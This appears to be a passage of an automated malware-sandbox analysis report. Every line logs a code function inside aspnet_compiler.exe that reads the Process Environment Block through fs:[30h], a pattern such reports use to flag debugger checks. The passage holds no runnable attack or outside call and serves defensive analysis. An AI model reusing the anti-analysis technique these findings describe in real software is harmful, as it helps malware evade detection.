Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C002D mov eax, dword ptr fs:[00000030h]	1_2_011C002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C002D mov eax, dword ptr fs:[00000030h]	1_2_011C002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C002D mov eax, dword ptr fs:[00000030h]	1_2_011C002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C002D mov eax, dword ptr fs:[00000030h]	1_2_011C002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C002D mov eax, dword ptr fs:[00000030h]	1_2_011C002D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01264015 mov eax, dword ptr fs:[00000030h]	1_2_01264015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01264015 mov eax, dword ptr fs:[00000030h]	1_2_01264015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01217016 mov eax, dword ptr fs:[00000030h]	1_2_01217016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01217016 mov eax, dword ptr fs:[00000030h]	1_2_01217016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01217016 mov eax, dword ptr fs:[00000030h]	1_2_01217016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B0050 mov eax, dword ptr fs:[00000030h]	1_2_011B0050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B0050 mov eax, dword ptr fs:[00000030h]	1_2_011B0050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01261074 mov eax, dword ptr fs:[00000030h]	1_2_01261074
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01252073 mov eax, dword ptr fs:[00000030h]	1_2_01252073
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01199080 mov eax, dword ptr fs:[00000030h]	1_2_01199080
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CF0BF mov ecx, dword ptr fs:[00000030h]	1_2_011CF0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CF0BF mov eax, dword ptr fs:[00000030h]	1_2_011CF0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CF0BF mov eax, dword ptr fs:[00000030h]	1_2_011CF0BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01213884 mov eax, dword ptr fs:[00000030h]	1_2_01213884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01213884 mov eax, dword ptr fs:[00000030h]	1_2_01213884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D90AF mov eax, dword ptr fs:[00000030h]	1_2_011D90AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C20A0 mov eax, dword ptr fs:[00000030h]	1_2_011C20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C20A0 mov eax, dword ptr fs:[00000030h]	1_2_011C20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C20A0 mov eax, dword ptr fs:[00000030h]	1_2_011C20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C20A0 mov eax, dword ptr fs:[00000030h]	1_2_011C20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C20A0 mov eax, dword ptr fs:[00000030h]	1_2_011C20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C20A0 mov eax, dword ptr fs:[00000030h]	1_2_011C20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0122B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122B8D0 mov ecx, dword ptr fs:[00000030h]	1_2_0122B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0122B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0122B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0122B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0122B8D0 mov eax, dword ptr fs:[00000030h]	1_2_0122B8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011958EC mov eax, dword ptr fs:[00000030h]	1_2_011958EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125131B mov eax, dword ptr fs:[00000030h]	1_2_0125131B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119F358 mov eax, dword ptr fs:[00000030h]	1_2_0119F358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119DB40 mov eax, dword ptr fs:[00000030h]	1_2_0119DB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C3B7A mov eax, dword ptr fs:[00000030h]	1_2_011C3B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C3B7A mov eax, dword ptr fs:[00000030h]	1_2_011C3B7A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119DB60 mov ecx, dword ptr fs:[00000030h]	1_2_0119DB60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01268B58 mov eax, dword ptr fs:[00000030h]	1_2_01268B58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01265BA5 mov eax, dword ptr fs:[00000030h]	1_2_01265BA5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2397 mov eax, dword ptr fs:[00000030h]	1_2_011C2397
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CB390 mov eax, dword ptr fs:[00000030h]	1_2_011CB390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A1B8F mov eax, dword ptr fs:[00000030h]	1_2_011A1B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A1B8F mov eax, dword ptr fs:[00000030h]	1_2_011A1B8F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0124D380 mov ecx, dword ptr fs:[00000030h]	1_2_0124D380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125138A mov eax, dword ptr fs:[00000030h]	1_2_0125138A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C4BAD mov eax, dword ptr fs:[00000030h]	1_2_011C4BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C4BAD mov eax, dword ptr fs:[00000030h]	1_2_011C4BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C4BAD mov eax, dword ptr fs:[00000030h]	1_2_011C4BAD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012153CA mov eax, dword ptr fs:[00000030h]	1_2_012153CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012153CA mov eax, dword ptr fs:[00000030h]	1_2_012153CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BDBE9 mov eax, dword ptr fs:[00000030h]	1_2_011BDBE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C03E2 mov eax, dword ptr fs:[00000030h]	1_2_011C03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C03E2 mov eax, dword ptr fs:[00000030h]	1_2_011C03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C03E2 mov eax, dword ptr fs:[00000030h]	1_2_011C03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C03E2 mov eax, dword ptr fs:[00000030h]	1_2_011C03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C03E2 mov eax, dword ptr fs:[00000030h]	1_2_011C03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C03E2 mov eax, dword ptr fs:[00000030h]	1_2_011C03E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B3A1C mov eax, dword ptr fs:[00000030h]	1_2_011B3A1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01195210 mov eax, dword ptr fs:[00000030h]	1_2_01195210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01195210 mov ecx, dword ptr fs:[00000030h]	1_2_01195210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01195210 mov eax, dword ptr fs:[00000030h]	1_2_01195210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01195210 mov eax, dword ptr fs:[00000030h]	1_2_01195210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119AA16 mov eax, dword ptr fs:[00000030h]	1_2_0119AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119AA16 mov eax, dword ptr fs:[00000030h]	1_2_0119AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A8A0A mov eax, dword ptr fs:[00000030h]	1_2_011A8A0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D4A2C mov eax, dword ptr fs:[00000030h]	1_2_011D4A2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D4A2C mov eax, dword ptr fs:[00000030h]	1_2_011D4A2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125AA16 mov eax, dword ptr fs:[00000030h]	1_2_0125AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125AA16 mov eax, dword ptr fs:[00000030h]	1_2_0125AA16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0124B260 mov eax, dword ptr fs:[00000030h]	1_2_0124B260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0124B260 mov eax, dword ptr fs:[00000030h]	1_2_0124B260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01268A62 mov eax, dword ptr fs:[00000030h]	1_2_01268A62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01199240 mov eax, dword ptr fs:[00000030h]	1_2_01199240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01199240 mov eax, dword ptr fs:[00000030h]	1_2_01199240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01199240 mov eax, dword ptr fs:[00000030h]	1_2_01199240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01199240 mov eax, dword ptr fs:[00000030h]	1_2_01199240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D927A mov eax, dword ptr fs:[00000030h]	1_2_011D927A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125EA55 mov eax, dword ptr fs:[00000030h]	1_2_0125EA55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01224257 mov eax, dword ptr fs:[00000030h]	1_2_01224257
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CD294 mov eax, dword ptr fs:[00000030h]	1_2_011CD294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CD294 mov eax, dword ptr fs:[00000030h]	1_2_011CD294
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AAAB0 mov eax, dword ptr fs:[00000030h]	1_2_011AAAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AAAB0 mov eax, dword ptr fs:[00000030h]	1_2_011AAAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CFAB0 mov eax, dword ptr fs:[00000030h]	1_2_011CFAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011952A5 mov eax, dword ptr fs:[00000030h]	1_2_011952A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011952A5 mov eax, dword ptr fs:[00000030h]	1_2_011952A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011952A5 mov eax, dword ptr fs:[00000030h]	1_2_011952A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011952A5 mov eax, dword ptr fs:[00000030h]	1_2_011952A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011952A5 mov eax, dword ptr fs:[00000030h]	1_2_011952A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2ACB mov eax, dword ptr fs:[00000030h]	1_2_011C2ACB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2AE4 mov eax, dword ptr fs:[00000030h]	1_2_011C2AE4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01268D34 mov eax, dword ptr fs:[00000030h]	1_2_01268D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0121A537 mov eax, dword ptr fs:[00000030h]	1_2_0121A537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125E539 mov eax, dword ptr fs:[00000030h]	1_2_0125E539
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C4D3B mov eax, dword ptr fs:[00000030h]	1_2_011C4D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C4D3B mov eax, dword ptr fs:[00000030h]	1_2_011C4D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C4D3B mov eax, dword ptr fs:[00000030h]	1_2_011C4D3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0119AD30 mov eax, dword ptr fs:[00000030h]	1_2_0119AD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011A3D34 mov eax, dword ptr fs:[00000030h]	1_2_011A3D34
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011B7D50 mov eax, dword ptr fs:[00000030h]	1_2_011B7D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011D3D43 mov eax, dword ptr fs:[00000030h]	1_2_011D3D43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01213540 mov eax, dword ptr fs:[00000030h]	1_2_01213540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BC577 mov eax, dword ptr fs:[00000030h]	1_2_011BC577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011BC577 mov eax, dword ptr fs:[00000030h]	1_2_011BC577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CFD9B mov eax, dword ptr fs:[00000030h]	1_2_011CFD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CFD9B mov eax, dword ptr fs:[00000030h]	1_2_011CFD9B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012605AC mov eax, dword ptr fs:[00000030h]	1_2_012605AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_012605AC mov eax, dword ptr fs:[00000030h]	1_2_012605AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01192D8A mov eax, dword ptr fs:[00000030h]	1_2_01192D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01192D8A mov eax, dword ptr fs:[00000030h]	1_2_01192D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01192D8A mov eax, dword ptr fs:[00000030h]	1_2_01192D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01192D8A mov eax, dword ptr fs:[00000030h]	1_2_01192D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01192D8A mov eax, dword ptr fs:[00000030h]	1_2_01192D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2581 mov eax, dword ptr fs:[00000030h]	1_2_011C2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2581 mov eax, dword ptr fs:[00000030h]	1_2_011C2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2581 mov eax, dword ptr fs:[00000030h]	1_2_011C2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C2581 mov eax, dword ptr fs:[00000030h]	1_2_011C2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C1DB5 mov eax, dword ptr fs:[00000030h]	1_2_011C1DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C1DB5 mov eax, dword ptr fs:[00000030h]	1_2_011C1DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C1DB5 mov eax, dword ptr fs:[00000030h]	1_2_011C1DB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011C35A1 mov eax, dword ptr fs:[00000030h]	1_2_011C35A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125FDE2 mov eax, dword ptr fs:[00000030h]	1_2_0125FDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125FDE2 mov eax, dword ptr fs:[00000030h]	1_2_0125FDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125FDE2 mov eax, dword ptr fs:[00000030h]	1_2_0125FDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0125FDE2 mov eax, dword ptr fs:[00000030h]	1_2_0125FDE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01248DF1 mov eax, dword ptr fs:[00000030h]	1_2_01248DF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216DC9 mov eax, dword ptr fs:[00000030h]	1_2_01216DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216DC9 mov eax, dword ptr fs:[00000030h]	1_2_01216DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216DC9 mov eax, dword ptr fs:[00000030h]	1_2_01216DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216DC9 mov ecx, dword ptr fs:[00000030h]	1_2_01216DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216DC9 mov eax, dword ptr fs:[00000030h]	1_2_01216DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216DC9 mov eax, dword ptr fs:[00000030h]	1_2_01216DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AD5E0 mov eax, dword ptr fs:[00000030h]	1_2_011AD5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011AD5E0 mov eax, dword ptr fs:[00000030h]	1_2_011AD5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01251C06 mov eax, dword ptr fs:[00000030h]	1_2_01251C06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0126740D mov eax, dword ptr fs:[00000030h]	1_2_0126740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0126740D mov eax, dword ptr fs:[00000030h]	1_2_0126740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_0126740D mov eax, dword ptr fs:[00000030h]	1_2_0126740D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216C0A mov eax, dword ptr fs:[00000030h]	1_2_01216C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216C0A mov eax, dword ptr fs:[00000030h]	1_2_01216C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216C0A mov eax, dword ptr fs:[00000030h]	1_2_01216C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_01216C0A mov eax, dword ptr fs:[00000030h]	1_2_01216C0A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CBC2C mov eax, dword ptr fs:[00000030h]	1_2_011CBC2C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 1_2_011CA44B mov eax, dword ptr fs:[00000030h]	1_2_011CA44B
